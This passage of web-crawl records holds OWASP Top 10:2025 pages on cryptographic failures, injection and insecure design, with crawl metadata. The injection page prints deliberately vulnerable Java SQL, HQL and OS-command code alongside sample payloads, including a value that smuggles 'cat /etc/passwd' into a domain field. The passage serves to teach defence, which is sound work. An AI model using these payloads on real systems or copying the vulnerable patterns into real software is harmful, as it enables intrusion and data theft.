the initialization vector (IV) does not need a CSPRNG. In all cases, the IV should never be used twice for a fixed key.\n- Always use authenticated encryption instead of just encryption.\n- Keys should be generated cryptographically randomly and stored in memory as byte arrays. If a password is used, then it must be converted to a key via an appropriate password base key derivation function.\n- Ensure that cryptographic randomness is used where appropriate and that it has not been seeded in a predictable way or with low entropy. Most modern APIs do not require the developer to seed the CSPRNG to be secure.\n- Avoid deprecated cryptographic functions, block building methods and padding schemes, such as MD5, SHA1, Cipher Block Chaining Mode (CBC), PKCS number 1 v1.5.\n- Ensure settings and configurations meet security requirements by having them reviewed by security specialists, tools designed for this purpose, or both.\n- You need to prepare now for post quantum cryptography (PQC), see reference (ENISA) so that high risk systems are safe no later than the end of 2030.\n\n## Example attack scenarios.\n\n**Scenario #1**: A site doesn't use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g., at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above they could alter all transported data, e.g., the recipient of a money transfer.\n\n**Scenario #2**: The password database uses unsalted or simple hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.\n\n## References.\n\n- [OWASP Proactive Controls: C2: Use Cryptography to Protect Data](https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/)\n- [OWASP Application Security Verification Standard (ASVS):](https://owasp.org/www-project-application-security-verification-standard) [V11,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md) [12,](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md) [14](https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md)\n- [OWASP Cheat Sheet: Transport Layer Protection](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: User Privacy Protection](https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Password Storage](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Cryptographic Storage](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: HSTS](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html)\n- [OWASP Testing Guide: Testing for weak cryptography](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n- [ENISA: A Coordinated Implementation Roadmap for the Transition to Post-Quantum Cryptography](https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography)\n- [NIST Releases First 3 Finalized Post-Quantum Encryption Standards](https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards)\n\n## List of Mapped CWEs\n\n- [CWE-261 Weak Encoding for Password](https://cwe.mitre.org/data/definitions/261.html)\n- [CWE-296 Improper Following of a Certificate's Chain of Trust](https://cwe.mitre.org/data/definitions/296.html)\n- [CWE-319 Cleartext Transmission of Sensitive Information](https://cwe.mitre.org/data/definitions/319.html)\n- [CWE-320 Key Management Errors (Prohibited)](https://cwe.mitre.org/data/definitions/320.html)\n- [CWE-321 Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html)\n- [CWE-322 Key Exchange without Entity Authentication](https://cwe.mitre.org/data/definitions/322.html)\n- [CWE-323 Reusing a Nonce, Key Pair in Encryption](https://cwe.mitre.org/data/definitions/323.html)\n- [CWE-324 Use of a Key Past its Expiration Date](https://cwe.mitre.org/data/definitions/324.html)\n- [CWE-325 Missing Required Cryptographic Step](https://cwe.mitre.org/data/definitions/325.html)\n- [CWE-326 Inadequate Encryption Strength](https://cwe.mitre.org/data/definitions/326.html)\n- [CWE-327 Use of a Broken or Risky Cryptographic Algorithm](https://cwe.mitre.org/data/definitions/327.html)\n- [CWE-328 Reversible One-Way Hash](https://cwe.mitre.org/data/definitions/328.html)\n- [CWE-329 Not Using a Random IV with CBC Mode](https://cwe.mitre.org/data/definitions/329.html)\n- [CWE-330 Use of Insufficiently Random Values](https://cwe.mitre.org/data/definitions/330.html)\n- [CWE-331 Insufficient Entropy](https://cwe.mitre.org/data/definitions/331.html)\n- [CWE-332 Insufficient Entropy in PRNG](https://cwe.mitre.org/data/definitions/332.html)\n- [CWE-334 Small Space of Random Values](https://cwe.mitre.org/data/definitions/334.html)\n- [CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/335.html)\n- [CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/336.html)\n- [CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG)](https://cwe.mitre.org/data/definitions/337.html)\n- [CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator(PRNG)](https://cwe.mitre.org/data/definitions/338.html)\n- [CWE-340 Generation of Predictable Numbers or Identifiers](https://cwe.mitre.org/data/definitions/340.html)\n- [CWE-342 Predictable Exact Value from Previous Values](https://cwe.mitre.org/data/definitions/342.html)\n- [CWE-347 Improper Verification of Cryptographic Signature](https://cwe.mitre.org/data/definitions/347.html)\n- [CWE-523 Unprotected Transport of Credentials](https://cwe.mitre.org/data/definitions/523.html)\n- [CWE-757 Selection of Less-Secure Algorithm During Negotiation('Algorithm Downgrade')](https://cwe.mitre.org/data/definitions/757.html)\n- [CWE-759 Use of a One-Way Hash without a Salt](https://cwe.mitre.org/data/definitions/759.html)\n- [CWE-760 Use of a One-Way Hash with a Predictable Salt](https://cwe.mitre.org/data/definitions/760.html)\n- [CWE-780 Use of RSA Algorithm without OAEP](https://cwe.mitre.org/data/definitions/780.html)\n- [CWE-916 Use of Password Hash With Insufficient Computational Effort](https://cwe.mitre.org/data/definitions/916.html)\n- [CWE-1240 Use of a Cryptographic Primitive with a Risky Implementation](https://cwe.mitre.org/data/definitions/1240.html)\n- [CWE-1241 Use of Predictable Algorithm in Random Number Generator](https://cwe.mitre.org/data/definitions/1241.html)", "znaku_textu": 12625, "slov": 1481, "odkazu": 85, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:36", "sha256": "e6e419222dc9e6358f66d280eb1621906929222c9867c655ed607b51cc418bd2", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://en.wikipedia.org/wiki/Transport_layer", "https://en.wikipedia.org/wiki/OSI_model", "https://en.wikipedia.org/wiki/AES_instruction_set", "https://letsencrypt.org/", "https://en.wikipedia.org/wiki/Application_layer", "https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html", "https://top10proactive.owasp.org/archive/2024/the-top-10/c2-crypto/", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x20-V11-Cryptography.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x21-V12-Secure-Communication.md", "https://github.com/OWASP/ASVS/blob/v5.0.0/5.0/en/0x23-V14-Data-Protection.md", "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/User_Privacy_Protection_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html", "https://digital-strategy.ec.europa.eu/en/library/coordinated-implementation-roadmap-transition-post-quantum-cryptography", "https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards", "https://cwe.mitre.org/data/definitions/261.html", "https://cwe.mitre.org/data/definitions/296.html", "https://cwe.mitre.org/data/definitions/319.html", "https://cwe.mitre.org/data/definitions/320.html", "https://cwe.mitre.org/data/definitions/321.html", "https://cwe.mitre.org/data/definitions/322.html", "https://cwe.mitre.org/data/definitions/323.html", "https://cwe.mitre.org/data/definitions/324.html", "https://cwe.mitre.org/data/definitions/325.html", "https://cwe.mitre.org/data/definitions/326.html", "https://cwe.mitre.org/data/definitions/327.html", "https://cwe.mitre.org/data/definitions/328.html", "https://cwe.mitre.org/data/definitions/329.html", "https://cwe.mitre.org/data/definitions/330.html", "https://cwe.mitre.org/data/definitions/331.html", "https://cwe.mitre.org/data/definitions/332.html", "https://cwe.mitre.org/data/definitions/334.html", "https://cwe.mitre.org/data/definitions/335.html", "https://cwe.mitre.org/data/definitions/336.html", "https://cwe.mitre.org/data/definitions/337.html", "https://cwe.mitre.org/data/definitions/338.html", "https://cwe.mitre.org/data/definitions/340.html", "https://cwe.mitre.org/data/definitions/342.html", "https://cwe.mitre.org/data/definitions/347.html", "https://cwe.mitre.org/data/definitions/523.html", "https://cwe.mitre.org/data/definitions/757.html", "https://cwe.mitre.org/data/definitions/759.html", "https://cwe.mitre.org/data/definitions/760.html", "https://cwe.mitre.org/data/definitions/780.html", "https://cwe.mitre.org/data/definitions/916.html", "https://cwe.mitre.org/data/definitions/1240.html", "https://cwe.mitre.org/data/definitions/1241.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A05_2025-Injection/", "titulek": "A05 Injection - OWASP Top 10:2025", "h1": "A05:2025 Injection", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A05_2025-Injection/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A05:2025 Injection"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A05:2025 Injection\n\n## Background.\n\nInjection falls two spots from #3 to #5 in the ranking, maintaining its position relative to A04:2025-Cryptographic Failures and A06:2025-Insecure Design. Injection is one of the most tested categories with 100% of applications tested for some form of injection. It had the greatest number of CVEs for any category, with 37 CWEs in this category. Injection includes Cross-site Scripting (high frequency/low impact) with more than 30k CVEs and SQL Injection (low frequency/high impact) with more than 14k CVEs. The massive number of reported CVEs for CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') brings down the average weighted impact of this category.\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 37 | 13.77% | 3.08% | 100.00% | 42.93% | 7.15 | 4.32 | 1,404,249 | 62,445 |\n\n## Description.\n\nAn injection vulnerability is an application flaw that allows untrusted user input to be sent to an interpreter (e.g. a browser, database, the command line) and causes the interpreter to execute parts of that input as commands.\n\nAn application is vulnerable to attack when:\n\n- User-supplied data is not validated, filtered, or sanitized by the application.\n- Dynamic queries or non-parameterized calls without context-aware escaping are used directly in the interpreter.\n- Unsanitized data is used within object-relational mapping (ORM) search parameters to extract additional, sensitive records.\n- Potentially hostile data is directly used or concatenated. The SQL or command contains the structure and malicious data in dynamic queries, commands, or stored procedures.\n\nSome of the more common injections are SQL, NoSQL, OS command, Object Relational Mapping (ORM), LDAP, and Expression Language (EL) or Object Graph Navigation Library (OGNL) injection. The concept is identical among all interpreters. Detection is best achieved by a combination of source code review along with automated testing (including fuzzing) of all parameters, headers, URL, cookies, JSON, SOAP, and XML data inputs. The addition of static (SAST), dynamic (DAST), and interactive (IAST) application security testing tools into the CI/CD pipeline can also be helpful to identify injection flaws before production deployment.\n\nA related class of injection vulnerabilities has become common in LLMs. These are discussed separately in the [OWASP LLM Top 10](https://genai.owasp.org/llm-top-10/), specifically [LLM01:2025 Prompt Injection](https://genai.owasp.org/llmrisk/llm01-prompt-injection/).\n\n## How to prevent.\n\nThe best means to prevent injection requires keeping data separate from commands and queries:\n\n- The preferred option is to use a safe API, which avoids using the interpreter entirely, provides a parameterized interface, or migrates to Object Relational Mapping Tools (ORMs). **Note:** Even when parameterized, stored procedures can still introduce SQL injection if PL/SQL or T-SQL concatenates queries and data or executes hostile data with EXECUTE IMMEDIATE or exec().\n\nWhen it is not possible to separate the data from commands, you can reduce threats using the following techniques.\n\n- Use positive server-side input validation. This is not a complete defense as many applications require special characters, such as text areas or APIs for mobile applications.\n- For any residual dynamic queries, escape special characters using the specific escape syntax for that interpreter. **Note:** SQL structures such as table names, column names, and so on cannot be escaped, and thus user-supplied structure names are dangerous. This is a common issue in report-writing software.\n\n**Warning** these techniques involve parsing and escaping complex strings, making them error-prone and not robust in the face of minor changes to the underlying system.\n\n## Example attack scenarios.\n\n**Scenario #1:** An application uses untrusted data in the construction of the following vulnerable SQL call:\n\n```\nString query = \"SELECT * FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\";\n```\n\nAn attacker modifies the 'id' parameter value in their browser to send: `' OR '1'='1`. For example:\n\n```\nhttp://example.com/app/accountView?id=' OR '1'='1\n```\n\nThis changes the meaning of the query to return all records from the accounts table. More dangerous attacks could modify or delete data or even invoke stored procedures.\n\n**Scenario #2:** An application's blind trust in frameworks may result in queries that are still vulnerable. For example, Hibernate Query Language (HQL):\n\n```\nQuery HQLQuery = session.createQuery(\"FROM accounts WHERE custID='\" + request.getParameter(\"id\") + \"'\");\n```\n\nAn attacker supplies: `' OR custID IS NOT NULL OR custID='`. This bypasses the filter and returns all accounts. While HQL has fewer dangerous functions than raw SQL, it still allows unauthorized data access when user input is concatenated into queries.\n\n**Scenario #3:** An application passes user input directly to an OS command:\n\n```\nString cmd = \"nslookup \" + request.getParameter(\"domain\");\nRuntime.getRuntime().exec(cmd);\n```\n\nAn attacker supplies `example.com; cat /etc/passwd` to execute arbitrary commands on the server.\n\n## References.\n\n- [OWASP Proactive Controls: Secure Database Access](https://owasp.org/www-project-proactive-controls/v3/en/c3-secure-database)\n- [OWASP ASVS: V5 Input Validation and Encoding](https://owasp.org/www-project-application-security-verification-standard)\n- [OWASP Testing Guide: SQL Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) , and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n\n## List of Mapped CWEs\n\n- [CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 Improper Neutralization of Equivalent Special Elements](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts: Incomplete validate() Method Definition](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts: Form Bean Does Not Extend Validation Class](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 Missing XML Validation](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 Process Control](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 Misinterpretation of Output](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 Improper Validation of Array Index](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 Improper Handling of Invalid Use of Special Elements](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 Critical Public Variable Without Final Modifier](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 Public Static Field Not Marked Final](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 11479, "slov": 1266, "odkazu": 86, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:37", "sha256": "df8f178b38dc4be8099690aee02701d07ad7d2b0dabc0363ea4309265518d6a3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/A06_2025-Insecure_Design/", "titulek": "A06 Insecure Design - OWASP Top 10:2025", "h1": "A06:2025 Insecure Design", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/A06_2025-Insecure_Design/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 Insecure Design"}, {"uroven": 2, "text": "Background."}, {"uroven": 2, "text": "Score table."}, {"uroven": 2, "text": "Description."}, {"uroven": 3, "text": "Requirements and Resource Management"}, {"uroven": 3, "text": "Secure Design"}, {"uroven": 3, "text": "Secure Development Lifecycle"}, {"uroven": 2, "text": "How to prevent."}, {"uroven": 2, "text": "Example attack scenarios."}, {"uroven": 2, "text": "References."}, {"uroven": 2, "text": "List of Mapped CWEs"}], "markdown": "# A06:2025 Insecure Design\n\n## Background.\n\nInsecure Design slides two spots from #4 to #6 in the ranking as **[A02:2025-Security Misconfiguration](../A02_2025-Security_Misconfiguration/)** and **[A03:2025-Software Supply Chain Failures](../A03_2025-Software_Supply_Chain_Failures/)** leapfrog it. This category was introduced in 2021, and we have seen noticeable improvements in the industry related to threat modeling and a greater emphasis on secure design. This category focuses on risks related to design and architectural flaws, with a call for more use of threat modeling, secure design patterns, and reference architectures. This includes flaws in the business logic of an application, e.g. the lack of defining unwanted or unexpected state changes inside an application. As a community, we need to move beyond \"shift-left\" in the coding space, to pre-code activities such as requirements writing and application design, that are critical for the principles of Secure by Design (e.g. see **[Establish a Modern AppSec Program: Planning and Design Phase](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**). Notable Common Weakness Enumerations (CWEs) include *CWE-256: Unprotected Storage of Credentials, CWE-269 Improper Privilege Management, CWE-434 Unrestricted Upload of File with Dangerous Type, CWE-501: Trust Boundary Violation, and CWE-522: Insufficiently Protected Credentials.*\n\n## Score table.\n\n| CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Max Coverage | Avg Coverage | Avg Weighted Exploit | Avg Weighted Impact | Total Occurrences | Total CVEs |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22.18% | 1.86% | 88.76% | 35.18% | 6.96 | 4.05 | 729,882 | 7,647 |\n\n## Description.\n\nInsecure design is a broad category representing different weaknesses, expressed as “missing or ineffective control design.” Insecure design is not the source for all other Top Ten risk categories. Note that there is a difference between insecure design and insecure implementation. We differentiate between design flaws and implementation defects for a reason, they have different root causes, take place at different times in the development process, and have different remediations. A secure design can still have implementation defects leading to vulnerabilities that may be exploited. An insecure design cannot be fixed by a perfect implementation as needed security controls were never created to defend against specific attacks. One of the factors that contributes to insecure design is the lack of business risk profiling inherent in the software or system being developed, and thus the failure to determine what level of security design is required.\n\nThree key parts of having a secure design are:\n\n- Gathering Requirements and Resource Management\n- Creating a Secure Design\n- Having a Secure Development Lifecycle\n\n### Requirements and Resource Management\n\nCollect and negotiate the business requirements for an application with the business, including the protection requirements concerning confidentiality, integrity, availability, and authenticity of all data assets and the expected business logic. Take into account how exposed your application will be and if you need segregation of tenants (beyond those needed for access control). Compile the technical requirements, including functional and non-functional security requirements. Plan and negotiate the budget covering all design, build, testing, and operation, including security activities.\n\n### Secure Design\n\nSecure design is a culture and methodology that constantly evaluates threats and ensures that code is robustly designed and tested to prevent known attack methods. Threat modeling should be integrated into refinement sessions (or similar activities); look for changes in data flows and access control or other security controls. In the story development, determine the correct flow and failure states, ensure they are well understood and agreed upon by the responsible and impacted parties. Analyze assumptions and conditions for expected and failure flows to ensure they remain accurate and desirable. Determine how to validate the assumptions and enforce conditions needed for proper behaviors. Ensure the results are documented in the story. Learn from mistakes and offer positive incentives to promote improvements. Secure design is neither an add-on nor a tool that you can add to software.\n\n### Secure Development Lifecycle\n\nSecure software requires a secure development lifecycle, a secure design pattern, a paved road methodology, a secure component library, appropriate tooling, threat modeling, and incident post-mortems that are used to improve the process. Reach out to your security specialists at the beginning of a software project, throughout the project, and for ongoing software maintenance. Consider leveraging the [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/) to help structure your secure software development efforts.\n\nOften self-responsibility of developers is underappreciated. Foster a culture of awareness, responsibility and proactive risk mitigation. Regular exchanges about security (e.g. during threat modeling sessions) can generate a mindset for including security in all important design decisions.\n\n## How to prevent.\n\n- Establish and use a secure development lifecycle with AppSec professionals to help evaluate and design security and privacy-related controls\n- Establish and use a library of secure design patterns or paved-road components\n- Use threat modeling for critical parts of the application such as authentication, access control, business logic, and key flows\n- Use threat modeling as an educational tool to generate a security mindset\n- Integrate security language and controls into user stories\n- Integrate plausibility checks at each tier of your application (from frontend to backend)\n- Write unit and integration tests to validate that all critical flows are resistant to the threat model. Compile use-cases *and* misuse-cases for each tier of your application.\n- Segregate tier layers on the system and network layers, depending on the exposure and protection needs\n- Segregate tenants robustly by design throughout all tiers\n\n## Example attack scenarios.\n\n**Scenario #1:** A credential recovery workflow might include “questions and answers,” which is prohibited by NIST 800-63b, the OWASP ASVS, and the OWASP Top 10. Questions and answers cannot be trusted as evidence of identity, as more than one person can know the answers. Such functionality should be removed and replaced with a more secure design.\n\n**Scenario #2:** A cinema chain allows group booking discounts and has a maximum of fifteen attendees before requiring a deposit. Attackers could threat model this flow and test if they can find an attack vector in the business logic of the application, e.g. booking six hundred seats and all cinemas at once in a few requests, causing a massive loss of income.\n\n**Scenario #3:** A retail chain’s e-commerce website does not have protection against bots run by scalpers buying high-end video cards to resell on auction websites. This creates terrible publicity for the video card makers and retail chain owners, and enduring bad blood with enthusiasts who cannot obtain these cards at any price. Careful anti-bot design and domain logic rules, such as purchases made within a few seconds of availability, might identify inauthentic purchases and reject such transactions.\n\n## References.\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## List of Mapped CWEs\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege 